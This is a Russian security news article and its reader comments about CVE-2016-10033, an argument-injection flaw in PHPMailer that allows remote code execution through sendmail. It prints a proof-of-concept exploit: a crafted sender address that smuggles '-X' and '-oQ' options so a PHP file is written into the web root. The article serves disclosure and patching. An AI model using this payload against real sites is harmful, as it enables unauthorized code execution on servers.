The OpenNET Project / Index page

[ новости/++ | форум | wiki | теги | ]

27.12.2016 19:21  Критическая уязвимость в PHPMailer, применяемом в WordPress, Drupal и Joomla

В PHPMailer, популярной библиотеке для организации отправки электронный писем из приложений на языке PHP, число пользователей которой оценивается в 9 миллионов, обнаружена критическая уязвимость (CVE-2016-10033), позволяющая инициировать удаленное выполнение кода без прохождения аутентификации.

Проблема аналогична недавно найденной уязвимости в Roundcube Webmail и также связана с небезопасным использованием PHP-функции mail() совместно с утилитой sendmail в качестве транспорта по умолчанию. Отсутствие должной проверки параметра "Sender" (неверная интерпретация экранированных кавычек), позволяет организовать передачу утилите sendmail произвольных аргументов командной строки, в том числе можно переопределить директорию очереди и файл с логом, что позволяет организовать запись сообщения в произвольный файл в локальной ФС на сервере с правами под которыми запускается PHP-приложение.

В частности, попытка отправки сообщения на email "Attacker \" -Param2 -Param3"@test.com приведёт к выполнению утилиты sendmail со следующими аргументами:


   Arg no. 0 == [/usr/sbin/sendmail]
   Arg no. 1 == [-t]
   Arg no. 2 == [-i]
   Arg no. 3 == [-fAttacker\]
   Arg no. 4 == [-Param2]
   Arg no. 5 == [-Param3"@test.com]

Для записи кода в файл /var/www/cache/phpcode.php в качестве отправителя можно указать '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com', что демонстрирует следующий прототип эксплоита (опция "-X/var/www/cache/phpcode.php" приведёт к созданию лога /var/www/cache/phpcode.php в который будет записано тело сообщения):


   $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com';
   $msg_body  = "{?php phpinfo(); ?}";

   require_once('class.phpmailer.php');
   $mail = new PHPMailer(); 

   $mail->SetFrom($email_from, 'Client Name');

   $address = "customer_feedback@company-X.com";
   $mail->AddAddress($address, "Some User");

   $mail->Subject    = "PHPMailer PoC Exploit CVE-2016-10033";
   $mail->MsgHTML($msg_body);

   if(!$mail->Send()) {
     echo "Mailer Error: " . $mail->ErrorInfo;
   } else {
     echo "Message sent!\n";
   }
    

Проблема устранена в PHPMailer 5.2.18, все более ранние выпуски подвержены уязвимости. Дистрибутивы пока не выпустили обновления пакетов: Debian, RHEL/CentOS, Fedora, Ubuntu, SUSE, openSUSE. Проблема проявляется при использовании настроек по умолчанию: отключен safe_mode, а для отправки используется PHP-функция mail() и утилита sendmail (варианты утилиты /usr/sbin/sendmail от проектов Postfix и Exim не могут быть использованы для атаки, так как они игнорируют опцию "-X").

Уязвимость усугубляется тем, что PHPMailer применяется во многих популярных продуктах для Web, в том числе в WordPress, Drupal, Joomla, 1CRM, SugarCRM, Yii и сотнях других проектов. Атака может быть проведена через различные формы отправки отзывов, регистрации, связи с администрацией и других операций, приводящих к отправке сообщений по электронной почте при помощи PHPMailer. Уязвимы или нет конкретные системы зависит от того, насколько качественно в них реализованы дополнительные проверки email-адресов перед отправкой сообщений через PHPMailer и используются ли настройки PHPMailer по умолчанию.

Дополнение: Drupal опубликовал предупреждение о проявлении уязвимости в модулях PHPMailer и SMTP. Уязвимости присвоен наивысший (Highly Critical) уровень опасности. В WordPress проблеме подвержены только некоторые сторонние плагины.

  1. Главная ссылка к новости (http://openwall.com/lists/oss-...)
  2. OpenNews: Уязвимость в Roundcube Webmail, позволяющая выполнить код на сервере
  3. OpenNews: Критическая root-уязвимость в MySQL
  4. OpenNews: Уязвимость в MySQL, позволяющая поднять свои привилегии
  5. OpenNews: Root-уязвимость из-за некорректных настроек в пакете nginx для Debian и Ubuntu
Автор новости: Mr.Mistoffelees
Тип: Проблемы безопасности
Ключевые слова: phpmailer, sendmail
При перепечатке указание ссылки на opennet.ru обязательно
Обсуждение Ajax/Линейный | Раскрыть все сообщения | RSS
 
  • 1.1, Аноним (-), 21:19, 27/12/2016 [ответить] [показать ветку] [···]    [к модератору]
  • +3 +/
    php головного мозга
     
     
  • 2.2, A.Stahl (ok), 21:26, 27/12/2016 [^] [ответить]    [к модератору]
  • +6 +/
    Зато они не боятся malloc/free и от чего там ещё падают в обморок Явисты-Питонисты?
     
     
  • 3.3, Куяврег (?), 21:44, 27/12/2016 [^] [ответить]    [к модератору]
  • +21 +/
    да они вообще нихрена не боятся. отчаянные люди...
     
  • 3.10, Alex (??), 23:01, 27/12/2016 [^] [ответить]     [к модератору]
  • +4 +/
    Xex, malloc free актуально для С, так что этого стоит бояться в том числе пользо... весь текст скрыт [показать]
     
  • 3.30, qsdg (ok), 09:06, 28/12/2016 [^] [ответить]    [к модератору]  
  • –2 +/
    Где в Java malloc/free? O_O
     
     
  • 4.42, Аноним (-), 14:59, 28/12/2016 [^] [ответить]    [к модератору]  
  • +/
    > Где в Java malloc/free? O_O

    Где, где... Внутри! То, что Вы его в тексте программы не видите, абсолютно не значит, что оно не исполняется.

     
     
  • 5.59, xz (??), 11:25, 29/12/2016 [^] [ответить]    [к модератору]  
  • +/
    > Где, где... Внутри! То, что Вы его в тексте программы не видите,
    > абсолютно не значит, что оно не исполняется.

    откуда он там возьмется, при живом то GC?

     
  • 2.16, stomper (?), 01:08, 28/12/2016 [^] [ответить]    [к модератору]  
  • +4 +/
    > php головного мозга

    Не важно, на каком языке ты говоришь, аноНЯшка. Важно насколько правильно и однозначно понимает тебя собеседник.

     
  • 2.44, Аноним (-), 16:58, 28/12/2016 [^] [ответить]     [к модератору]  
  • +/
    что php головного мозга во первых нужно всегда фильтровать пользовательский вво... весь текст скрыт [показать]
     
     
  • 3.52, Аноним (-), 03:26, 29/12/2016 [^] [ответить]    [к модератору]  
  • +/
    Ну для дураков да, но там 4 кейса включая режим "safe mode" и даже это можно обойти с Windows платформы, пример ядру пыхапэ
     
  • 3.53, Аноним (-), 03:28, 29/12/2016 [^] [ответить]    [к модератору]  
  • +1 +/
    > во первых нужно всегда фильтровать пользовательский ввод данных

    Фильтрацию можно обойти другой фильтрацией.

    P.S. Мы не говорим про ваш местечковый юзеркейс в хлеву.

     
  • 1.4, burik666 (ok), 21:46, 27/12/2016 [ответить] [показать ветку] [···]    [к модератору]  
  • +/
    Это тоже самое что и http://www.opennet.ru/opennews/art.shtml?num=45643
     
  • 1.5, Аноним (-), 21:50, 27/12/2016 [ответить] [показать ветку] [···]     [к модератору]  
  • –2 +/
    В комментарии к прошлой новости я ссылки кидал https www opennet ru openforum ... весь текст скрыт [показать]
     
     
  • 2.17, Sw00p_aka_Jerom (ok), 02:24, 28/12/2016 [^] [ответить]    [к модератору]  
  • +2 +/
    юзать стороние пхп скрипты да ещё с такими сомнительными функциями как exec, system и тд. - маразм.
     
     
  • 3.20, Аноним (-), 04:53, 28/12/2016 [^] [ответить]    [к модератору]  
  • +1 +/
    Ждем когда эти девы выпилят exec, system и прицепят нормальный интерфейс сборки запросов на выполнения с экранированием для макак
     
     
  • 4.37, Sw00p_aka_Jerom (ok), 13:41, 28/12/2016 [^] [ответить]    [к модератору]  
  • +1 +/
    Так суть не в выпиливании, а в правильном использовании, а из ваших слов ввходит, что интерфейсы созданы именно для макак
     
  • 4.39, KonstantinB (ok), 14:10, 28/12/2016 [^] [ответить]    [к модератору]  
  • –1 +/
    Выпиливать возможность прямого системного вызова - это как раз для макак.

    А обертку с плейсхолдерами я себе лет 10 назад написал, там писать-то 5 строчек.

     
  • 1.6, th3m3 (ok), 22:18, 27/12/2016 [ответить] [показать ветку] [···]    [к модератору]  
  • –6 +/
    >>WordPress, Drupal и Joomla

    Пользователи всякого устаревшего php-хлама - должны страдать.

     
     
  • 2.7, Аноним (-), 22:29, 27/12/2016 [^] [ответить]    [к модератору]  
  • +1 +/
    Не пользователи, а заказчики. WP еще долго будет царствовать в клозетах и головах. Ибо "дёшева".
     
  • 2.22, Аноним (-), 07:12, 28/12/2016 [^] [ответить]     [к модератору]  
  • +3 +/
    Drupal с многомиллионными инвестициями и огромным сообществом крутых разрабов см... весь текст скрыт [показать]
     
     
  • 3.46, Аноним (-), 17:08, 28/12/2016 [^] [ответить]    [к модератору]  
  • –2 +/
    сразу виден икспертный специалист в этом деле. который написал целых пару сайтов на WordPress - скачивав и устанавив пачку гов-ноплагинов.
     
     
  • 4.58, YCA4 (ok), 09:06, 29/12/2016 [^] [ответить]     [к модератору]  
  • +2 +/
    Это лишь файл wp-login php из ядра https github com WordPress WordPress blob ... весь текст скрыт [показать]
     
  • 3.60, th3m3 (ok), 14:22, 07/01/2017 [^] [ответить]    [к модератору]  
  • +/
    Столько денег вбухали в Drupal, а он как был УГ на php, так и остался. Могли бы уж переписать на чём-то более адекватном.

    Wordpress - тоже чудо УГ-кодинга, тоже php. Тоже нафиг.

     
  • 2.45, Аноним (-), 17:03, 28/12/2016 [^] [ответить]    [к модератору]  
  • +/
    клоун - посмотри требования на https://wordpress.org/about/requirements/
    php 7 или выше

    обновил ПО на серваках или
    поменял отправку на через smtp и нет проблем.

     
     
  • 3.61, th3m3 (ok), 14:24, 07/01/2017 [^] [ответить]    [к модератору]  
  • +/
    А ещё можно сразу использовать что-то более адекватное и современное.
     
  • 1.8, Michael Shigorin (ok), 22:39, 27/12/2016 [ответить] [показать ветку] [···]    [к модератору]  
  • –4 +/
    К слову о статической линковке...

    PS: к TYPO3 кто-то лет десять тому сделал плагин с этой штукой и через годик забросил, по счастью: https://typo3.org/extensions/repository/view/bb_phpmailer

     
  • 1.9, uldus (ok), 22:56, 27/12/2016 [ответить] [показать ветку] [···]    [к модератору]  
  • +1 +/
    Этим не ограничится, PHPMailer жуткий комбайн в котором встроен SMTP-сервер, система массовой рассылки, NTLM, CRAM-MD5, XOAUTH2, TLS, DKIM и S/MIME.

    И что-то мне кажется, что и эту дыру не до конца поправили. Там ниже по коду при пустом $this->Sender выставляется $smtp_from = $this->From без обёртки $this->validateAddress(), которую добавили для $this->Sender.

     
  • 1.13, Аноним (-), 00:02, 28/12/2016 [ответить] [показать ветку] [···]    [к модератору]  
  • +1 +/
    Marcus Bointon & PHP - sucks
     
  • 1.14, Gemorroj (ok), 00:15, 28/12/2016 [ответить] [показать ветку] [···]    [к модератору]  
  • +2 +/
    хорошая либа, кстати.
    а по поводу уязвимости - таких вагон где угодно. просто в силу популярности проектов на php о них громче новости.
     
     
  • 2.32, Аноним (-), 10:00, 28/12/2016 [^] [ответить]    [к модератору]  
  • +1 +/
    Пути пхпистов неисповедимы, да.
     
  • 1.23, KonstantinB (ok), 07:20, 28/12/2016 [ответить] [показать ветку] [···]    [к модератору]  
  • +1 +/
    Еще надо найти жертву с настоящим сендмейлом, что непросто. Все известные мне mta (кроме самого sendmail) игнорируют -X (и правильно делают).

    Или придумать другой способ эксплуатации, но лично мне ничего в голову не приходит.

     
  • 1.24, KonstantinB (ok), 07:27, 28/12/2016 [ответить] [показать ветку] [···]    [к модератору]  
  • +/
    Кстати, в php-шном же SwiftMailer аналогичную уязвимость исправили 2.5 года назад.
     
     
  • 2.25, Аноним (-), 08:20, 28/12/2016 [^] [ответить]    [к модератору]  
  • +/
    > аналогичную уязвимость исправили 2.5 года назад

    Исправили?! Напишут новую!!!

     
     
  • 3.26, KonstantinB (ok), 08:32, 28/12/2016 [^] [ответить]     [к модератору]  
  • +1 +/
    Я к тому, что это, похоже, общее уязвимое место - и не только для php Да и прав... весь текст скрыт [показать]
     
  • 3.54, KonstantinB (ok), 07:49, 29/12/2016 [^] [ответить]     [к модератору]  
  • +/
    Хех Написали Точнее, в тот раз исправили аналогичную, но в sendmail-транспорте... весь текст скрыт [показать]
     
  • 1.28, Аноним (-), 08:40, 28/12/2016 [ответить] [показать ветку] [···]     [к модератору]  
  • +/
    Это в каком проекте нет валидации email Или это валидный email Attacker... весь текст скрыт [показать]
     
     
  • 2.29, Аноним (-), 08:53, 28/12/2016 [^] [ответить]    [к модератору]  
  • +2 +/
    Это валидный EMail. RFC допускает использование пробелов при выделении кавычками.
     
     
  • 3.33, KonstantinB (ok), 10:14, 28/12/2016 [^] [ответить]    [к модератору]  
  • +1 +/
    Ага. Можно сделать себе емейл типа "(),:; \"<>["@domain.tld и троллить всех багрепортами. :-)
     
  • 3.47, Аноним (-), 17:11, 28/12/2016 [^] [ответить]    [к модератору]  
  • +/
    с какого перепугу валидный?

    $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com';
    var_dump(filter_var($email_from, FILTER_VALIDATE_EMAIL));
    выдаст false

     
     
  • 4.48, Аноним84701 (ok), 17:28, 28/12/2016 [^] [ответить]     [к модератору]  
  • +1 +/
    С такого, что валидность обычно таки определяетcя общепризнанным RFC, а не кон... весь текст скрыт [показать]
     
  • 1.31, Sylvia (ok), 09:11, 28/12/2016 [ответить] [показать ветку] [···]    [к модератору]  
  • +1 +/
    >Уязвимости присвоен наивысший (Highly Critical) уровень опасности.

    для WordPress приоритет на тикет поставил абсолютно левый человек зарегистрировавшийся только вчера. Не надо выдавать это за официальную позицию пожалуйста.

     
  • 1.34, arnold (?), 12:28, 28/12/2016 [ответить] [показать ветку] [···]    [к модератору]  
  • +/
    Сссылка "сотнях других проектов" ничего не находит.
     
     
  • 2.40, google (??), 14:20, 28/12/2016 [^] [ответить]    [к модератору]  
  • –1 +/
    потому что никто не пользуется этим овном
     
  • 1.35, Fantomas (??), 12:41, 28/12/2016 [ответить] [показать ветку] [···]    [к модератору]  
  • +/
    Да забейте на эту уязвимость, исправят - обновим.
     
  • 1.36, Square1 (?), 13:13, 28/12/2016 [ответить] [показать ветку] [···]    [к модератору]  
  • +1 +/
    проверил на нескольких платформах (включая джумлу) - ругается на невалидный эмейл.
     
  • 1.38, Аноним (-), 13:51, 28/12/2016 [ответить] [показать ветку] [···]     [к модератору]  
  • +3 +/
    брейкинньюс просто, опции -X сто лет в обед, пруф сейчас не найду, но этим хекал... весь текст скрыт [показать]
     
     
  • 2.49, Аноним (-), 18:58, 28/12/2016 [^] [ответить]     [к модератору]  
  • +/
    Во-первых, phpmailer сам предоставляет средства валидации email PHPMailer vali... весь текст скрыт [показать]
     
     
  • 3.50, Аноним (-), 21:57, 28/12/2016 [^] [ответить]     [к модератору]  
  • +/
    вот из за таких как ты, которые реальность от жопы отличить не могут, такое и сл... весь текст скрыт [показать]
     
     
  • 4.55, Аноним (-), 08:07, 29/12/2016 [^] [ответить]     [к модератору]  
  • –1 +/
    https tools ietf org html rfc3696 создан в 2004 году и как раз отражает соврем... весь текст скрыт [показать]
     
  • 1.51, Аноним (-), 00:41, 29/12/2016 [ответить] [показать ветку] [···]    [к модератору]  
  • +/
    Там полный кабздец с самим php
    https://gist.github.com/Zenexer/40d02da5e07f151adeaeeaa11af9ab36
    https://github.com/PHPMailer/PHPMailer/pull/930
     
  • 1.56, Аноним (-), 08:15, 29/12/2016 [ответить] [показать ветку] [···]    [к модератору]  
  • +/
    Ответте, плиз, как обновить phpmailer и проверить установленную версию. Саппорт говорит, что это 10 долларов в час будет стоить
     
     
  • 2.57, Аноним (-), 08:54, 29/12/2016 [^] [ответить]    [к модератору]  
  • –1 +/
    На подходе еще 2 CVE готовь еще денег)
     

     Добавить комментарий
    Имя:
    E-Mail:
    Заголовок:
    Текст:


      Закладки на сайте
      Проследить за страницей
    Created 1996-2018 by Maxim Chirkov  
    ДобавитьПоддержатьВебмастеруГИД  
    Hosting by Ihor